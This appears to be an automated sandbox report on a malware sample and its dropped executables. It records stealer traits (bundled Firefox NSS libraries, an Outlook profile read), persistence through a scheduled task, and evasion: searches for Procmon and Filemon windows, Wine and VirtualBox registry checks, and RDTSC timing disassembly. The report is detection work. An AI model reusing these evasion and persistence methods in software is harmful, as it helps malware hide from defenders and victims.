Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1842688 > 1048576

Source: file.exe

Static PE information: Raw size of tcefzapw is bigger than: 0x100000 < 0x1a7e00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2800096274.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2800096274.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tcefzapw:EW;lbfzirwl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tcefzapw:EW;lbfzirwl:EW;.taggant:EW;
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Unpacked PE file: 22.2.DocumentsAEBGHDBKEB.exe.900000.0.unpack :EW;.rsrc:W;.idata :W; :EW;durrfrps:EW;porwkuev:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;durrfrps:EW;porwkuev:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.2f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;durrfrps:EW;porwkuev:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;durrfrps:EW;porwkuev:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.2f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;durrfrps:EW;porwkuev:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;durrfrps:EW;porwkuev:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.2f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;durrfrps:EW;porwkuev:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;durrfrps:EW;porwkuev:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C973480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C973480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: d32823a5a7.exe.28.dr	Static PE information: real checksum: 0x443157 should be: 0x440e4e
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: real checksum: 0x1d01a4 should be: 0x1d1470
Source: file.exe	Static PE information: real checksum: 0x1c5299 should be: 0x1d0a89
Source: random[1].exe.28.dr	Static PE information: real checksum: 0x443157 should be: 0x440e4e
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d01a4 should be: 0x1d1470
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x1d01a4 should be: 0x1d1470

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: tcefzapw
Source: file.exe	Static PE information: section name: lbfzirwl
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: durrfrps
Source: random[1].exe.0.dr	Static PE information: section name: porwkuev
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name:
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name:
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name: durrfrps
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name: porwkuev
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name: .taggant
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: durrfrps
Source: skotes.exe.22.dr	Static PE information: section name: porwkuev
Source: skotes.exe.22.dr	Static PE information: section name: .taggant
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: .rsrc
Source: random[1].exe.28.dr	Static PE information: section name: .idata
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: snkouwyn
Source: random[1].exe.28.dr	Static PE information: section name: vyybilms
Source: random[1].exe.28.dr	Static PE information: section name: .taggant
Source: d32823a5a7.exe.28.dr	Static PE information: section name:
Source: d32823a5a7.exe.28.dr	Static PE information: section name: .rsrc
Source: d32823a5a7.exe.28.dr	Static PE information: section name: .idata
Source: d32823a5a7.exe.28.dr	Static PE information: section name:
Source: d32823a5a7.exe.28.dr	Static PE information: section name: snkouwyn
Source: d32823a5a7.exe.28.dr	Static PE information: section name: vyybilms
Source: d32823a5a7.exe.28.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB536 push ecx; ret		0_2_6C9AB549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0030D91C push ecx; ret		28_2_0030D92F

Source: file.exe	Static PE information: section name: tcefzapw entropy: 7.953400825161862
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.987056831585829
Source: random[1].exe.0.dr	Static PE information: section name: durrfrps entropy: 7.952522878872974
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name: entropy: 7.987056831585829
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name: durrfrps entropy: 7.952522878872974
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.987056831585829
Source: skotes.exe.22.dr	Static PE information: section name: durrfrps entropy: 7.952522878872974
Source: random[1].exe.28.dr	Static PE information: section name: snkouwyn entropy: 7.956042320086044
Source: d32823a5a7.exe.28.dr	Static PE information: section name: snkouwyn entropy: 7.956042320086044

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsAEBGHDBKEB.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsAEBGHDBKEB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsAEBGHDBKEB.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsAEBGHDBKEB.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsAEBGHDBKEB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9D55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9D55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10A04 second address: F10A10 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6EC0DB0656h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10B5B second address: F10B82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push edx 0x00000009 jmp 00007F6EC0DB081Fh 0x0000000e pop edx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 jnp 00007F6EC0DB081Eh 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10CD0 second address: F10CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10CD4 second address: F10D01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0825h 0x00000007 jnl 00007F6EC0DB0816h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6EC0DB081Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10D01 second address: F10D51 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6EC0DB0656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F6EC0DB0658h 0x00000010 push eax 0x00000011 pop eax 0x00000012 js 00007F6EC0DB065Ch 0x00000018 jg 00007F6EC0DB0656h 0x0000001e popad 0x0000001f pushad 0x00000020 push edi 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 pop eax 0x00000025 pop edi 0x00000026 jp 00007F6EC0DB065Ah 0x0000002c pushad 0x0000002d jmp 00007F6EC0DB0662h 0x00000032 jmp 00007F6EC0DB065Bh 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10EB4 second address: F10ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007F6EC0DB0827h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10FEA second address: F1100C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F6EC0DB0656h 0x0000000c popad 0x0000000d push esi 0x0000000e jnl 00007F6EC0DB0656h 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop esi 0x00000017 pushad 0x00000018 jc 00007F6EC0DB0656h 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1112C second address: F1113E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6EC0DB081Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12CD3 second address: F12CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jo 00007F6EC0DB0664h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12CE4 second address: F12CE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12CE8 second address: F12D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push ebx 0x0000000c jns 00007F6EC0DB0656h 0x00000012 pop ebx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12D00 second address: F12D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jnp 00007F6EC0DB0822h 0x0000000e js 00007F6EC0DB081Ch 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push ebx 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12D4A second address: F12D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push edi 0x00000009 jmp 00007F6EC0DB0663h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12FDD second address: F12FE7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6EC0DB0816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12FE7 second address: F1308F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6EC0DB065Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F6EC0DB065Eh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F6EC0DB0658h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D3137h], ecx 0x00000033 push 689E5611h 0x00000038 jmp 00007F6EC0DB0665h 0x0000003d xor dword ptr [esp], 689E5691h 0x00000044 call 00007F6EC0DB0664h 0x00000049 mov edx, dword ptr [ebp+122D38EFh] 0x0000004f pop edx 0x00000050 push 00000003h 0x00000052 mov si, BF94h 0x00000056 push 00000000h 0x00000058 mov dword ptr [ebp+122D3057h], edi 0x0000005e push 00000003h 0x00000060 and edx, 4DC9F0E1h 0x00000066 call 00007F6EC0DB0659h 0x0000006b push eax 0x0000006c push ecx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1308F second address: F130AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6EC0DB0820h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F130AA second address: F130AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F130AE second address: F130B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
